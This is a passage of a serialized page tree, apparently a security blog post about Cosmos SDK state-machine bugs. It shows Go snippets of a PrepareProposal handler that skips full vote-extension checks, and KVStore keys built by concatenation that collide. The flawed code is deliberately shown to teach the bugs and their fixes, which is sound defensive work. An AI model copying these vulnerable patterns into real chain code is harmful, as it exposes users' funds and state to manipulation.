ag":213,"props":84337,"children":84338},{"style":274},[84339],{"type":28,"value":14259},{"type":23,"tag":213,"props":84341,"children":84342},{"style":268},[84343],{"type":28,"value":84344}," collectSigs",{"type":23,"tag":213,"props":84346,"children":84347},{"style":220},[84348],{"type":28,"value":1375},{"type":23,"tag":213,"props":84350,"children":84351},{"class":215,"line":551},[84352],{"type":23,"tag":213,"props":84353,"children":84354},{"style":537},[84355],{"type":28,"value":84356}," //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":23,"tag":213,"props":84358,"children":84359},{"class":215,"line":570},[84360,84364,84368,84373,84377,84382,84386,84390,84394,84399,84403,84408,84412,84416,84420,84424,84428,84432,84436,84441,84445,84449,84453,84458],{"type":23,"tag":213,"props":84361,"children":84362},{"style":268},[84363],{"type":28,"value":82389},{"type":23,"tag":213,"props":84365,"children":84366},{"style":274},[84367],{"type":28,"value":76469},{"type":23,"tag":213,"props":84369,"children":84370},{"style":268},[84371],{"type":28,"value":84372}," baseapp",{"type":23,"tag":213,"props":84374,"children":84375},{"style":220},[84376],{"type":28,"value":124},{"type":23,"tag":213,"props":84378,"children":84379},{"style":257},[84380],{"type":28,"value":84381},"ValidateVoteExtensions",{"type":23,"tag":213,"props":84383,"children":84384},{"style":220},[84385],{"type":28,"value":265},{"type":23,"tag":213,"props":84387,"children":84388},{"style":268},[84389],{"type":28,"value":20335},{"type":23,"tag":213,"props":84391,"children":84392},{"style":220},[84393],{"type":28,"value":424},{"type":23,"tag":213,"props":84395,"children":84396},{"style":268},[84397],{"type":28,"value":84398},"h",{"type":23,"tag":213,"props":84400,"children":84401},{"style":220},[84402],{"type":28,"value":124},{"type":23,"tag":213,"props":84404,"children":84405},{"style":268},[84406],{"type":28,"value":84407},"stakingKeeper",{"type":23,"tag":213,"props":84409,"children":84410},{"style":220},[84411],{"type":28,"value":424},{"type":23,"tag":213,"props":84413,"children":84414},{"style":268},[84415],{"type":28,"value":84202},{"type":23,"tag":213,"props":84417,"children":84418},{"style":220},[84419],{"type":28,"value":124},{"type":23,"tag":213,"props":84421,"children":84422},{"style":268},[84423],{"type":28,"value":83532},{"type":23,"tag":213,"props":84425,"children":84426},{"style":220},[84427],{"type":28,"value":424},{"type":23,"tag":213,"props":84429,"children":84430},{"style":268},[84431],{"type":28,"value":20335},{"type":23,"tag":213,"props":84433,"children":84434},{"style":220},[84435],{"type":28,"value":124},{"type":23,"tag":213,"props":84437,"children":84438},{"style":257},[84439],{"type":28,"value":84440},"ChainID",{"type":23,"tag":213,"props":84442,"children":84443},{"style":220},[84444],{"type":28,"value":18426},{"type":23,"tag":213,"props":84446,"children":84447},{"style":268},[84448],{"type":28,"value":84202},{"type":23,"tag":213,"props":84450,"children":84451},{"style":220},[84452],{"type":28,"value":124},{"type":23,"tag":213,"props":84454,"children":84455},{"style":268},[84456],{"type":28,"value":84457},"LocalLastCommit",{"type":23,"tag":213,"props":84459,"children":84460},{"style":220},[84461],{"type":28,"value":2183},{"type":23,"tag":213,"props":84463,"children":84464},{"class":215,"line":655},[84465,84469,84473,84477,84481],{"type":23,"tag":213,"props":84466,"children":84467},{"style":1362},[84468],{"type":28,"value":58854},{"type":23,"tag":213,"props":84470,"children":84471},{"style":268},[84472],{"type":28,"value":48573},{"type":23,"tag":213,"props":84474,"children":84475},{"style":274},[84476],{"type":28,"value":64440},{"type":23,"tag":213,"props":84478,"children":84479},{"style":230},[84480],{"type":28,"value":81971},{"type":23,"tag":213,"props":84482,"children":84483},{"style":220},[84484],{"type":28,"value":1375},{"type":23,"tag":213,"props":84486,"children":84487},{"class":215,"line":1176},[84488,84492,84496,84500],{"type":23,"tag":213,"props":84489,"children":84490},{"style":1362},[84491],{"type":28,"value":60782},{"type":23,"tag":213,"props":84493,"children":84494},{"style":230},[84495],{"type":28,"value":81971},{"type":23,"tag":213,"props":84497,"children":84498},{"style":220},[84499],{"type":28,"value":424},{"type":23,"tag":213,"props":84501,"children":84502},{"style":268},[84503],{"type":28,"value":83692},{"type":23,"tag":213,"props":84505,"children":84506},{"class":215,"line":1202},[84507],{"type":23,"tag":213,"props":84508,"children":84509},{"style":220},[84510],{"type":28,"value":58938},{"type":23,"tag":213,"props":84512,"children":84513},{"class":215,"line":1758},[84514,84519,84523,84527,84531,84536,84540,84545,84549,84553,84557,84561],{"type":23,"tag":213,"props":84515,"children":84516},{"style":268},[84517],{"type":28,"value":84518}," injection",{"type":23,"tag":213,"props":84520,"children":84521},{"style":220},[84522],{"type":28,"value":424},{"type":23,"tag":213,"props":84524,"children":84525},{"style":268},[84526],{"type":28,"value":48472},{"type":23,"tag":213,"props":84528,"children":84529},{"style":274},[84530],{"type":28,"value":511},{"type":23,"tag":213,"props":84532,"children":84533},{"style":268},[84534],{"type":28,"value":84535}," json",{"type":23,"tag":213,"props":84537,"children":84538},{"style":220},[84539],{"type":28,"value":124},{"type":23,"tag":213,"props":84541,"children":84542},{"style":257},[84543],{"type":28,"value":84544},"Marshal",{"type":23,"tag":213,"props":84546,"children":84547},{"style":220},[84548],{"type":28,"value":265},{"type":23,"tag":213,"props":84550,"children":84551},{"style":268},[84552],{"type":28,"value":84202},{"type":23,"tag":213,"props":84554,"children":84555},{"style":220},[84556],{"type":28,"value":124},{"type":23,"tag":213,"props":84558,"children":84559},{"style":268},[84560],{"type":28,"value":84457},{"type":23,"tag":213,"props":84562,"children":84563},{"style":220},[84564],{"type":28,"value":2183},{"type":23,"tag":213,"props":84566,"children":84567},{"class":215,"line":1767},[84568,84572,84576,84580,84584],{"type":23,"tag":213,"props":84569,"children":84570},{"style":1362},[84571],{"type":28,"value":58854},{"type":23,"tag":213,"props":84573,"children":84574},{"style":268},[84575],{"type":28,"value":48573},{"type":23,"tag":213,"props":84577,"children":84578},{"style":274},[84579],{"type":28,"value":64440},{"type":23,"tag":213,"props":84581,"children":84582},{"style":230},[84583],{"type":28,"value":81971},{"type":23,"tag":213,"props":84585,"children":84586},{"style":220},[84587],{"type":28,"value":1375},{"type":23,"tag":213,"props":84589,"children":84590},{"class":215,"line":1789},[84591,84596,84600,84605,84609,84613,84617,84622,84626,84631,84635,84639],{"type":23,"tag":213,"props":84592,"children":84593},{"style":268},[84594],{"type":28,"value":84595}," h",{"type":23,"tag":213,"props":84597,"children":84598},{"style":220},[84599],{"type":28,"value":124},{"type":23,"tag":213,"props":84601,"children":84602},{"style":268},[84603],{"type":28,"value":84604},"logger",{"type":23,"tag":213,"props":84606,"children":84607},{"style":220},[84608],{"type":28,"value":124},{"type":23,"tag":213,"props":84610,"children":84611},{"style":257},[84612],{"type":28,"value":37456},{"type":23,"tag":213,"props":84614,"children":84615},{"style":220},[84616],{"type":28,"value":265},{"type":23,"tag":213,"props":84618,"children":84619},{"style":246},[84620],{"type":28,"value":84621},"\"failed to marshal extended votes\"",{"type":23,"tag":213,"props":84623,"children":84624},{"style":220},[84625],{"type":28,"value":424},{"type":23,"tag":213,"props":84627,"children":84628},{"style":246},[84629],{"type":28,"value":84630},"\"err\"",{"type":23,"tag":213,"props":84632,"children":84633},{"style":220},[84634],{"type":28,"value":424},{"type":23,"tag":213,"props":84636,"children":84637},{"style":268},[84638],{"type":28,"value":48472},{"type":23,"tag":213,"props":84640,"children":84641},{"style":220},[84642],{"type":28,"value":2183},{"type":23,"tag":213,"props":84644,"children":84645},{"class":215,"line":1812},[84646,84650,84654,84658],{"type":23,"tag":213,"props":84647,"children":84648},{"style":1362},[84649],{"type":28,"value":60782},{"type":23,"tag":213,"props":84651,"children":84652},{"style":230},[84653],{"type":28,"value":81971},{"type":23,"tag":213,"props":84655,"children":84656},{"style":220},[84657],{"type":28,"value":424},{"type":23,"tag":213,"props":84659,"children":84660},{"style":268},[84661],{"type":28,"value":83692},{"type":23,"tag":213,"props":84663,"children":84664},{"class":215,"line":1838},[84665],{"type":23,"tag":213,"props":84666,"children":84667},{"style":220},[84668],{"type":28,"value":58938},{"type":23,"tag":213,"props":84670,"children":84671},{"class":215,"line":1851},[84672],{"type":23,"tag":213,"props":84673,"children":84674},{"style":274},[84675],{"type":28,"value":82571},{"type":23,"tag":213,"props":84677,"children":84678},{"class":215,"line":1864},[84679],{"type":23,"tag":213,"props":84680,"children":84681},{"style":220},[84682],{"type":28,"value":3444},{"type":23,"tag":213,"props":84684,"children":84685},{"class":215,"line":1890},[84686,84691,84695,84699,84703,84708,84712,84717,84721,84725,84729,84733],{"type":23,"tag":213,"props":84687,"children":84688},{"style":268},[84689],{"type":28,"value":84690}," defaultRes",{"type":23,"tag":213,"props":84692,"children":84693},{"style":220},[84694],{"type":28,"value":424},{"type":23,"tag":213,"props":84696,"children":84697},{"style":268},[84698],{"type":28,"value":48472},{"type":23,"tag":213,"props":84700,"children":84701},{"style":274},[84702],{"type":28,"value":76469},{"type":23,"tag":213,"props":84704,"children":84705},{"style":268},[84706],{"type":28,"value":84707}," h",{"type":23,"tag":213,"props":84709,"children":84710},{"style":220},[84711],{"type":28,"value":124},{"type":23,"tag":213,"props":84713,"children":84714},{"style":257},[84715],{"type":28,"value":84716},"defaultPrepareProposal",{"type":23,"tag":213,"props":84718,"children":84719},{"style":220},[84720],{"type":28,"value":265},{"type":23,"tag":213,"props":84722,"children":84723},{"style":268},[84724],{"type":28,"value":20335},{"type":23,"tag":213,"props":84726,"children":84727},{"style":220},[84728],{"type":28,"value":424},{"type":23,"tag":213,"props":84730,"children":84731},{"style":268},[84732],{"type":28,"value":84202},{"type":23,"tag":213,"props":84734,"children":84735},{"style":220},[84736],{"type":28,"value":2183},{"type":23,"tag":213,"props":84738,"children":84739},{"class":215,"line":1899},[84740],{"type":23,"tag":213,"props":84741,"children":84742},{"style":274},[84743],{"type":28,"value":81895},{"type":23,"tag":213,"props":84745,"children":84746},{"class":215,"line":1912},[84747,84752,84756,84761,84765],{"type":23,"tag":213,"props":84748,"children":84749},{"style":268},[84750],{"type":28,"value":84751}," proposalTxs",{"type":23,"tag":213,"props":84753,"children":84754},{"style":274},[84755],{"type":28,"value":76469},{"type":23,"tag":213,"props":84757,"children":84758},{"style":268},[84759],{"type":28,"value":84760}," defaultRes",{"type":23,"tag":213,"props":84762,"children":84763},{"style":220},[84764],{"type":28,"value":124},{"type":23,"tag":213,"props":84766,"children":84767},{"style":268},[84768],{"type":28,"value":84769},"Txs\n",{"type":23,"tag":213,"props":84771,"children":84772},{"class":215,"line":1921},[84773,84777,84781,84785,84789],{"type":23,"tag":213,"props":84774,"children":84775},{"style":1362},[84776],{"type":28,"value":3369},{"type":23,"tag":213,"props":84778,"children":84779},{"style":268},[84780],{"type":28,"value":84272},{"type":23,"tag":213,"props":84782,"children":84783},{"style":274},[84784],{"type":28,"value":64440},{"type":23,"tag":213,"props":84786,"children":84787},{"style":230},[84788],{"type":28,"value":81971},{"type":23,"tag":213,"props":84790,"children":84791},{"style":220},[84792],{"type":28,"value":1375},{"type":23,"tag":213,"props":84794,"children":84795},{"class":215,"line":3879},[84796,84801,84805,84809,84814,84819,84823,84828,84832,84837,84841],{"type":23,"tag":213,"props":84797,"children":84798},{"style":268},[84799],{"type":28,"value":84800}," proposalTxs",{"type":23,"tag":213,"props":84802,"children":84803},{"style":274},[84804],{"type":28,"value":511},{"type":23,"tag":213,"props":84806,"children":84807},{"style":257},[84808],{"type":28,"value":77749},{"type":23,"tag":213,"props":84810,"children":84811},{"style":220},[84812],{"type":28,"value":84813},"([][]",{"type":23,"tag":213,"props":84815,"children":84816},{"style":290},[84817],{"type":28,"value":84818},"byte",{"type":23,"tag":213,"props":84820,"children":84821},{"style":220},[84822],{"type":28,"value":76671},{"type":23,"tag":213,"props":84824,"children":84825},{"style":268},[84826],{"type":28,"value":84827},"injection",{"type":23,"tag":213,"props":84829,"children":84830},{"style":220},[84831],{"type":28,"value":76690},{"type":23,"tag":213,"props":84833,"children":84834},{"style":268},[84835],{"type":28,"value":84836},"proposalTxs",{"type":23,"tag":213,"props":84838,"children":84839},{"style":274},[84840],{"type":28,"value":9675},{"type":23,"tag":213,"props":84842,"children":84843},{"style":220},[84844],{"type":28,"value":2183},{"type":23,"tag":213,"props":84846,"children":84847},{"class":215,"line":3887},[84848,84853,84857,84861,84865,84869,84873,84878,84882,84887,84891,84895,84899,84903],{"type":23,"tag":213,"props":84849,"children":84850},{"style":268},[84851],{"type":28,"value":84852}," h",{"type":23,"tag":213,"props":84854,"children":84855},{"style":220},[84856],{"type":28,"value":124},{"type":23,"tag":213,"props":84858,"children":84859},{"style":268},[84860],{"type":28,"value":84604},{"type":23,"tag":213,"props":84862,"children":84863},{"style":220},[84864],{"type":28,"value":124},{"type":23,"tag":213,"props":84866,"children":84867},{"style":257},[84868],{"type":28,"value":24769},{"type":23,"tag":213,"props":84870,"children":84871},{"style":220},[84872],{"type":28,"value":265},{"type":23,"tag":213,"props":84874,"children":84875},{"style":246},[84876],{"type":28,"value":84877},"\"injected local last commit\"",{"type":23,"tag":213,"props":84879,"children":84880},{"style":220},[84881],{"type":28,"value":424},{"type":23,"tag":213,"props":84883,"children":84884},{"style":246},[84885],{"type":28,"value":84886},"\"height\"",{"type":23,"tag":213,"props":84888,"children":84889},{"style":220},[84890],{"type":28,"value":424},{"type":23,"tag":213,"props":84892,"children":84893},{"style":268},[84894],{"type":28,"value":84202},{"type":23,"tag":213,"props":84896,"children":84897},{"style":220},[84898],{"type":28,"value":124},{"type":23,"tag":213,"props":84900,"children":84901},{"style":268},[84902],{"type":28,"value":83532},{"type":23,"tag":213,"props":84904,"children":84905},{"style":220},[84906],{"type":28,"value":2183},{"type":23,"tag":213,"props":84908,"children":84909},{"class":215,"line":3918},[84910],{"type":23,"tag":213,"props":84911,"children":84912},{"style":220},[84913],{"type":28,"value":3444},{"type":23,"tag":213,"props":84915,"children":84916},{"class":215,"line":3926},[84917,84921,84925,84929,84933,84937],{"type":23,"tag":213,"props":84918,"children":84919},{"style":1362},[84920],{"type":28,"value":2839},{"type":23,"tag":213,"props":84922,"children":84923},{"style":274},[84924],{"type":28,"value":927},{"type":23,"tag":213,"props":84926,"children":84927},{"style":290},[84928],{"type":28,"value":84211},{"type":23,"tag":213,"props":84930,"children":84931},{"style":220},[84932],{"type":28,"value":124},{"type":23,"tag":213,"props":84934,"children":84935},{"style":290},[84936],{"type":28,"value":84241},{"type":23,"tag":213,"props":84938,"children":84939},{"style":220},[84940],{"type":28,"value":10964},{"type":23,"tag":213,"props":84942,"children":84943},{"class":215,"line":3986},[84944,84949,84953,84957],{"type":23,"tag":213,"props":84945,"children":84946},{"style":268},[84947],{"type":28,"value":84948}," Txs",{"type":23,"tag":213,"props":84950,"children":84951},{"style":220},[84952],{"type":28,"value":15390},{"type":23,"tag":213,"props":84954,"children":84955},{"style":268},[84956],{"type":28,"value":84836},{"type":23,"tag":213,"props":84958,"children":84959},{"style":220},[84960],{"type":28,"value":944},{"type":23,"tag":213,"props":84962,"children":84963},{"class":215,"line":9132},[84964,84969],{"type":23,"tag":213,"props":84965,"children":84966},{"style":220},[84967],{"type":28,"value":84968}," }, ",{"type":23,"tag":213,"props":84970,"children":84971},{"style":230},[84972],{"type":28,"value":76695},{"type":23,"tag":213,"props":84974,"children":84975},{"class":215,"line":9150},[84976],{"type":23,"tag":213,"props":84977,"children":84978},{"style":220},[84979],{"type":28,"value":2875},{"type":23,"tag":213,"props":84981,"children":84982},{"class":215,"line":9195},[84983],{"type":23,"tag":213,"props":84984,"children":84985},{"style":220},[84986],{"type":28,"value":1208},{"type":23,"tag":24,"props":84988,"children":84989},{},[84990,84992,84997,84998,85003,85005,85012],{"type":28,"value":84991},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":23,"tag":209,"props":84993,"children":84995},{"className":84994},[],[84996],{"type":28,"value":83361},{"type":28,"value":400},{"type":23,"tag":209,"props":84999,"children":85001},{"className":85000},[],[85002],{"type":28,"value":83429},{"type":28,"value":85004},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":23,"tag":36,"props":85006,"children":85009},{"href":85007,"rel":85008},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[40],[85010],{"type":28,"value":85011},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":28,"value":85013},", which will later get rejected by CometBTF.",{"type":23,"tag":47,"props":85015,"children":85017},{"id":85016},"the-keymaker",[85018],{"type":28,"value":85019},"The Keymaker",{"type":23,"tag":24,"props":85021,"children":85022},{},[85023,85025,85031,85033,85038],{"type":28,"value":85024},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":23,"tag":209,"props":85026,"children":85028},{"className":85027},[],[85029],{"type":28,"value":85030},"KVStore",{"type":28,"value":85032}," to handle states efficently. In ",{"type":23,"tag":209,"props":85034,"children":85036},{"className":85035},[],[85037],{"type":28,"value":85030},{"type":28,"value":85039},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":23,"tag":24,"props":85041,"children":85042},{},[85043],{"type":28,"value":85044},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":23,"tag":24,"props":85046,"children":85047},{},[85048,85050,85056],{"type":28,"value":85049},"Let's start by considering a scenario where we need to store the ",{"type":23,"tag":209,"props":85051,"children":85053},{"className":85052},[],[85054],{"type":28,"value":85055},"positionMap",{"type":28,"value":85057}," structure mentioned below into storage.",{"type":23,"tag":202,"props":85059,"children":85061},{"code":85060,"language":76217,"meta":7,"className":76218,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n",[85062],{"type":23,"tag":209,"props":85063,"children":85064},{"__ignoreMap":7},[85065,85081,85098,85114,85133,85148,85155,85172],{"type":23,"tag":213,"props":85066,"children":85067},{"class":215,"line":216},[85068,85072,85077],{"type":23,"tag":213,"props":85069,"children":85070},{"style":230},[85071],{"type":28,"value":32812},{"type":23,"tag":213,"props":85073,"children":85074},{"style":290},[85075],{"type":28,"value":85076}," VaultId",{"type":23,"tag":213,"props":85078,"children":85079},{"style":290},[85080],{"type":28,"value":76255},{"type":23,"tag":213,"props":85082,"children":85083},{"class":215,"line":226},[85084,85088,85093],{"type":23,"tag":213,"props":85085,"children":85086},{"style":230},[85087],{"type":28,"value":32812},{"type":23,"tag":213,"props":85089,"children":85090},{"style":290},[85091],{"type":28,"value":85092}," Username",{"type":23,"tag":213,"props":85094,"children":85095},{"style":290},[85096],{"type":28,"value":85097}," string\n",{"type":23,"tag":213,"props":85099,"children":85100},{"class":215,"line":524},[85101,85105,85110],{"type":23,"tag":213,"props":85102,"children":85103},{"style":230},[85104],{"type":28,"value":32812},{"type":23,"tag":213,"props":85106,"children":85107},{"style":290},[85108],{"type":28,"value":85109}," PositionName",{"type":23,"tag":213,"props":85111,"children":85112},{"style":290},[85113],{"type":28,"value":85097},{"type":23,"tag":213,"props":85115,"children":85116},{"class":215,"line":533},[85117,85121,85125,85129],{"type":23,"tag":213,"props":85118,"children":85119},{"style":230},[85120],{"type":28,"value":32812},{"type":23,"tag":213,"props":85122,"children":85123},{"style":290},[85124],{"type":28,"value":7514},{"type":23,"tag":213,"props":85126,"children":85127},{"style":230},[85128],{"type":28,"value":887},{"type":23,"tag":213,"props":85130,"children":85131},{"style":220},[85132],{"type":28,"value":1375},{"type":23,"tag":213,"props":85134,"children":85135},{"class":215,"line":543},[85136,85140,85144],{"type":23,"tag":213,"props":85137,"children":85138},{"style":268},[85139],{"type":28,"value":43288},{"type":23,"tag":213,"props":85141,"children":85142},{"style":220},[85143],{"type":28,"value":76280},{"type":23,"tag":213,"props":85145,"children":85146},{"style":290},[85147],{"type":28,"value":84281},{"type":23,"tag":213,"props":85149,"children":85150},{"class":215,"line":551},[85151],{"type":23,"tag":213,"props":85152,"children":85153},{"style":220},[85154],{"type":28,"value":1208},{"type":23,"tag":213,"props":85156,"children":85157},{"class":215,"line":570},[85158,85162,85167],{"type":23,"tag":213,"props":85159,"children":85160},{"style":230},[85161],{"type":28,"value":32812},{"type":23,"tag":213,"props":85163,"children":85164},{"style":290},[85165],{"type":28,"value":85166}," PositionMap",{"type":23,"tag":213,"props":85168,"children":85169},{"style":274},[85170],{"type":28,"value":85171}," :=\n",{"type":23,"tag":213,"props":85173,"children":85174},{"class":215,"line":655},[85175,85180,85184,85189,85193,85197,85201,85206,85210,85214,85218,85223,85227],{"type":23,"tag":213,"props":85176,"children":85177},{"style":230},[85178],{"type":28,"value":85179}," map",{"type":23,"tag":213,"props":85181,"children":85182},{"style":220},[85183],{"type":28,"value":3821},{"type":23,"tag":213,"props":85185,"children":85186},{"style":290},[85187],{"type":28,"value":85188},"VaultId",{"type":23,"tag":213,"props":85190,"children":85191},{"style":220},[85192],{"type":28,"value":15470},{"type":23,"tag":213,"props":85194,"children":85195},{"style":230},[85196],{"type":28,"value":67156},{"type":23,"tag":213,"props":85198,"children":85199},{"style":220},[85200],{"type":28,"value":3821},{"type":23,"tag":213,"props":85202,"children":85203},{"style":290},[85204],{"type":28,"value":85205},"Username",{"type":23,"tag":213,"props":85207,"children":85208},{"style":220},[85209],{"type":28,"value":15470},{"type":23,"tag":213,"props":85211,"children":85212},{"style":230},[85213],{"type":28,"value":67156},{"type":23,"tag":213,"props":85215,"children":85216},{"style":220},[85217],{"type":28,"value":3821},{"type":23,"tag":213,"props":85219,"children":85220},{"style":290},[85221],{"type":28,"value":85222},"PositionName",{"type":23,"tag":213,"props":85224,"children":85225},{"style":220},[85226],{"type":28,"value":15470},{"type":23,"tag":213,"props":85228,"children":85229},{"style":290},[85230],{"type":28,"value":85231},"Position\n",{"type":23,"tag":24,"props":85233,"children":85234},{},[85235,85237,85243],{"type":28,"value":85236},"Given that there are two levels of keys in ",{"type":23,"tag":209,"props":85238,"children":85240},{"className":85239},[],[85241],{"type":28,"value":85242},"PositionMap",{"type":28,"value":85244},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":23,"tag":202,"props":85246,"children":85248},{"code":85247,"language":76217,"meta":7,"className":76218,"style":7},"storageKey := fmt.Sprintf(\n \"%d%s%s\",\n vaultId,\n username,\n positionName,\n)\n",[85249],{"type":23,"tag":209,"props":85250,"children":85251},{"__ignoreMap":7},[85252,85281,85293,85305,85317,85329],{"type":23,"tag":213,"props":85253,"children":85254},{"class":215,"line":216},[85255,85260,85264,85268,85272,85277],{"type":23,"tag":213,"props":85256,"children":85257},{"style":268},[85258],{"type":28,"value":85259},"storageKey",{"type":23,"tag":213,"props":85261,"children":85262},{"style":274},[85263],{"type":28,"value":76469},{"type":23,"tag":213,"props":85265,"children":85266},{"style":268},[85267],{"type":28,"value":82287},{"type":23,"tag":213,"props":85269,"children":85270},{"style":220},[85271],{"type":28,"value":124},{"type":23,"tag":213,"props":85273,"children":85274},{"style":257},[85275],{"type":28,"value":85276},"Sprintf",{"type":23,"tag":213,"props":85278,"children":85279},{"style":220},[85280],{"type":28,"value":1511},{"type":23,"tag":213,"props":85282,"children":85283},{"class":215,"line":226},[85284,85289],{"type":23,"tag":213,"props":85285,"children":85286},{"style":246},[85287],{"type":28,"value":85288}," \"%d%s%s\"",{"type":23,"tag":213,"props":85290,"children":85291},{"style":220},[85292],{"type":28,"value":944},{"type":23,"tag":213,"props":85294,"children":85295},{"class":215,"line":524},[85296,85301],{"type":23,"tag":213,"props":85297,"children":85298},{"style":268},[85299],{"type":28,"value":85300}," vaultId",{"type":23,"tag":213,"props":85302,"children":85303},{"style":220},[85304],{"type":28,"value":944},{"type":23,"tag":213,"props":85306,"children":85307},{"class":215,"line":533},[85308,85313],{"type":23,"tag":213,"props":85309,"children":85310},{"style":268},[85311],{"type":28,"value":85312}," username",{"type":23,"tag":213,"props":85314,"children":85315},{"style":220},[85316],{"type":28,"value":944},{"type":23,"tag":213,"props":85318,"children":85319},{"class":215,"line":543},[85320,85325],{"type":23,"tag":213,"props":85321,"children":85322},{"style":268},[85323],{"type":28,"value":85324}," positionName",{"type":23,"tag":213,"props":85326,"children":85327},{"style":220},[85328],{"type":28,"value":944},{"type":23,"tag":213,"props":85330,"children":85331},{"class":215,"line":551},[85332],{"type":23,"tag":213,"props":85333,"children":85334},{"style":220},[85335],{"type":28,"value":2183},{"type":23,"tag":24,"props":85337,"children":85338},{},[85339],{"type":28,"value":85340},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":23,"tag":202,"props":85342,"children":85344},{"code":85343},"vaultId = 1, username = \"2a\", positionName = \"b\"\n => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\", positionName = \"b\"\n => storageKey = \"12ab\"\n",[85345],{"type":23,"tag":209,"props":85346,"children":85347},{"__ignoreMap":7},[85348],{"type":28,"value":85343},{"type":23,"tag":24,"props":85350,"children":85351},{},[85352,85357],{"type":23,"tag":87,"props":85353,"children":85354},{},[85355],{"type":28,"value":85356},"So, how can we mitigate this issue?",{"type":28,"value":85358},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":23,"tag":202,"props":85360,"children":85362},{"code":85361,"language":76217,"meta":7,"className":76218,"style":7},"const (\n Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n \"%d%s%s%s%s\",\n vaultId,\n Seperator,\n username,\n Seperator,\n positionName,\n)\n",[85363],{"type":23,"tag":209,"props":85364,"children":85365},{"__ignoreMap":7},[85366,85377,85394,85401,85408,85435,85447,85458,85469,85480,85491,85502],{"type":23,"tag":213,"props":85367,"children":85368},{"class":215,"line":216},[85369,85373],{"type":23,"tag":213,"props":85370,"children":85371},{"style":230},[85372],{"type":28,"value":632},{"type":23,"tag":213,"props":85374,"children":85375},{"style":220},[85376],{"type":28,"value":78619},{"type":23,"tag":213,"props":85378,"children":85379},{"class":215,"line":226},[85380,85385,85389],{"type":23,"tag":213,"props":85381,"children":85382},{"style":268},[85383],{"type":28,"value":85384}," Seperator",{"type":23,"tag":213,"props":85386,"children":85387},{"style":274},[85388],{"type":28,"value":511},{"type":23,"tag":213,"props":85390,"children":85391},{"style":246},[85392],{"type":28,"value":85393}," \"|\"\n",{"type":23,"tag":213,"props":85395,"children":85396},{"class":215,"line":524},[85397],{"type":23,"tag":213,"props":85398,"children":85399},{"style":220},[85400],{"type":28,"value":2183},{"type":23,"tag":213,"props":85402,"children":85403},{"class":215,"line":533},[85404],{"type":23,"tag":213,"props":85405,"children":85406},{"emptyLinePlaceholder":18},[85407],{"type":28,"value":530},{"type":23,"tag":213,"props":85409,"children":85410},{"class":215,"line":543},[85411,85415,85419,85423,85427,85431],{"type":23,"tag":213,"props":85412,"children":85413},{"style":268},[85414],{"type":28,"value":85259},{"type":23,"tag":213,"props":85416,"children":85417},{"style":274},[85418],{"type":28,"value":76469},{"type":23,"tag":213,"props":85420,"children":85421},{"style":268},[85422],{"type":28,"value":82287},{"type":23,"tag":213,"props":85424,"children":85425},{"style":220},[85426],{"type":28,"value":124},{"type":23,"tag":213,"props":85428,"children":85429},{"style":257},[85430],{"type":28,"value":85276},{"type":23,"tag":213,"props":85432,"children":85433},{"style":220},[85434],{"type":28,"value":1511},{"type":23,"tag":213,"props":85436,"children":85437},{"class":215,"line":551},[85438,85443],{"type":23,"tag":213,"props":85439,"children":85440},{"style":246},[85441],{"type":28,"value":85442}," \"%d%s%s%s%s\"",{"type":23,"tag":213,"props":85444,"children":85445},{"style":220},[85446],{"type":28,"value":944},{"type":23,"tag":213,"props":85448,"children":85449},{"class":215,"line":570},[85450,85454],{"type":23,"tag":213,"props":85451,"children":85452},{"style":268},[85453],{"type":28,"value":85300},{"type":23,"tag":213,"props":85455,"children":85456},{"style":220},[85457],{"type":28,"value":944},{"type":23,"tag":213,"props":85459,"children":85460},{"class":215,"line":655},[85461,85465],{"type":23,"tag":213,"props":85462,"children":85463},{"style":268},[85464],{"type":28,"value":85384},{"type":23,"tag":213,"props":85466,"children":85467},{"style":220},[85468],{"type":28,"value":944},{"type":23,"tag":213,"props":85470,"children":85471},{"class":215,"line":1176},[85472,85476],{"type":23,"tag":213,"props":85473,"children":85474},{"style":268},[85475],{"type":28,"value":85312},{"type":23,"tag":213,"props":85477,"children":85478},{"style":220},[85479],{"type":28,"value":944},{"type":23,"tag":213,"props":85481,"children":85482},{"class":215,"line":1202},[85483,85487],{"type":23,"tag":213,"props":85484,"children":85485},{"style":268},[85486],{"type":28,"value":85384},{"type":23,"tag":213,"props":85488,"children":85489},{"style":220},[85490],{"type":28,"value":944},{"type":23,"tag":213,"props":85492,"children":85493},{"class":215,"line":1758},[85494,85498],{"type":23,"tag":213,"props":85495,"children":85496},{"style":268},[85497],{"type":28,"value":85324},{"type":23,"tag":213,"props":85499,"children":85500},{"style":220},[85501],{"type":28,"value":944},{"type":23,"tag":213,"props":85503,"children":85504},{"class":215,"line":1767},[85505],{"type":23,"tag":213,"props":85506,"children":85507},{"style":220},[85508],{"type":28,"value":2183},{"type":23,"tag":24,"props":85510,"children":85511},{},[85512],{"type":28,"value":85513},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":23,"tag":24,"props":85515,"children":85516},{},[85517,85519,85525,85526,85532],{"type":28,"value":85518},"Sadly, it doesn't. Since the ",{"type":23,"tag":209,"props":85520,"children":85522},{"className":85521},[],[85523],{"type":28,"value":85524},"username",{"type":28,"value":1466},{"type":23,"tag":209,"props":85527,"children":85529},{"className":85528},[],[85530],{"type":28,"value":85531},"vaultName",{"type":28,"value":85533}," are both strings that may contain 